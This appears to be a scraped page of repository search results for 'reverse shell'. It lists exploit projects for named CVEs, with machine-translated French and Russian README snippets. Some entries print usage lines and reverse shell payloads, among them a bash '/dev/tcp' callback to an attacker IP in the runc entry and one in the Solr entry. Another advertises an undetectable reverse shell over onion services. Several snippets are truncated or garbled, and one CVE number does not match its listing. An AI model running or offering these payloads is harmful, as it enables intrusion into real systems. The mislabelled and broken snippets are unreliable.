2608 matches found
cve-2017-2824-reverse-shell
Ce depot n’a pas de fichier README...
CVE-2021-32160
..| XSS до привилегированного пользователя |.. Описание : Использование отражённой межсайтовой XSS-атаки Reflected Cross-Site Scripting для создания привилегированного пользователя через функцию добавления пользователей Webmin с последующим получением обратной оболочки reverse shell через функцию...
tornado
tornado reverse shell anonyme sur le réseau onion utilisant des services cachés sans redirection de port Explorer la documentation reverse shell totalement indétectable · Voir la démo · anonymat à toute épreuve Table des matières 1. Qu'est-ce que tornado ? 2. Construit avec 3. Pour commencer...
CVE-2004-1561
CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Mise à jour pour 568-edit.c J'ai réussi à faire fonctionner l'exploit original. Édité selon celui-ci. Utilisation pour 568-edit.c root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast = 2.0.1...
golang-webmin-CVE-2022-0824-revshell
golang-webmin-CVE-2022-0824-revshell RCE dans Webmin URL cible c - identifiants pour webmin sl - votre IP et port de serveur local pour héberger votre payload s - IP de callback p - port de callback Références https://www.webmin.com/security.html...
CVE-2024-21626
CVE-2024-21626 POC Prérequis runc 1.1.0 /proc/self/cwd/../../../bin/ba...
CVE-2019-7214
Exploitation de Shell Inversé Windows PowerShell sur TCP Ce script Python cible un service vulnérable exécuté sur une machine Windows distante. Il envoie une charge utile .NET sérialisée qui déclenche un shell inversé basé sur PowerShell vers la machine de l'attaquant. CVE-2019-7214 Exécution de...
WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425
WonderCMS 4.3.2 Exploits XSS vers RCE Aperçu Ces scripts exploitent une vulnérabilité XSS Cross-Site Scripting dans WonderCMS 4.3.2 pour parvenir à une Exécution de Code à Distance RCE. La charge utile XSS, lorsqu'elle est déclenchée par l'administrateur, installe automatiquement un reverse shell...
ExploitTensorflowCVE-2021-37678
CVE-2021-37678 Exploit Pour exploiter la vulnérabilité, il est nécessaire de lancer un conteneur docker avec un environnement préparé pour exécuter Tensorflow avec une version 2.2.3 qui a encore la vulnérabilité. Il comprend : Une architecture AMD 64 bits, CPU ou GPU pouvant exécuter des...
CVE-2023-38646
CVE-2023-38646 Un exploit RCE en Python pour CVE-2023-38646 Utilisation Démarrer un écouteur nc -lvnp Exécuter l'exploit python3 CVE-2023-38646.py -u -l -p Aide python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message...
FuguHub-8.4-Authenticated-RCE-CVE-2024-27697
FuguHub 8.4 RCE Authentifié FuguHub est un logiciel de serveur multimédia cloud. La version testée était la version Debian à ce lien : https://fuguhub.com/articles/FuguHub-for-Debian Un problème dans Real Time Logic LLC FuguHub v.8.4 permet à un attaquant local d'exécuter du code arbitraire via u...
CVE-2014-7205
Bassmaster NodeJS Plugin RCE PoC bassmaster-rce.py: Un script Python pour exploiter CVE-2014-7205. nodeshell.py: Un module Python pour générer un reverse shell pour NodeJS !!Utilisez uniquement contre des serveurs sur lesquels vous avez la permission de tester Résumé CVE-2014-7205 est une...
CVE-2025-3243
CVE-2025-32433 Эксплойт для библиотеки Erlang SSH Доказательство концепции эксплуатации CVE-2025-32433 , критической уязвимости в библиотеке Erlang SSH, позволяющей выполнение кода до аутентификации с помощью специально сформированных пакетов SSHMSGCHANNELREQUEST. Особенности Оригинальный эксплой...
CVE-2019-0232_tomcat_cgi_exploit
Script d'Exploit CGI d'Apache Tomcat Description Un script Python conçu pour exploiter les vulnérabilités CGI sur les serveurs Apache Tomcat en exécutant une connexion de shell inversé. Exemple d'Utilisation Caractéristiques Exploit automatisé pour les vulnérabilités CGI d'Apache Tomcat Paramètre...
CVE-2019-5736
🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Utilisation : La machine est vulnérable à la CVE-2019-5736, suivez les étapes de l'exploit Runc CVE-2019-5736. Téléchargez le fichier main.go, modifiez le payload dans le fichier en : var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" Ensuite,...
CVE-2012-2593
Цепочка эксплойтов Atmail XSS-CSRF-RCE PoC atmail-rce.py: Эксплуатирует CVE-2012-2593 в веб-интерфейсе Atmail. atmail-csrf.js: JavaScript-файл, который использует CVE-2012-2593 для CSRF для установки вредоносного плагина, выполняющего обратную оболочку. Plugin.php: Плагин Atmail, который...
CVE-2022-42889
Démarrage rapide sudo apt install golang Pour exécuter comme Python : go run main.go arg1 arg2 Pour construire l'exécutable : go build main.go Utilisation : non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' À faire : Capacités de reverse shell...
Zerodoor
ZeroDoor Сценарий, написанный на скорую руку для генерации обратных оболочек reverse shell backdoors на ходу, когда они вам понадобятся, без лишних хлопот для ежедневных нужд пентеста. Эти бэкдоры — не шпионские технологии уровня Джеймса Бонда, а скорее простые, чтобы избежать чрезмерной...
CVE-2022-46169
CVE-2022-41343 🐍 Exploit Python pour CVE-2022-46169 Reverse Shell Stagé pour Cacti = 1.2.22 Exemple cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Utilisation usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callback Port...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...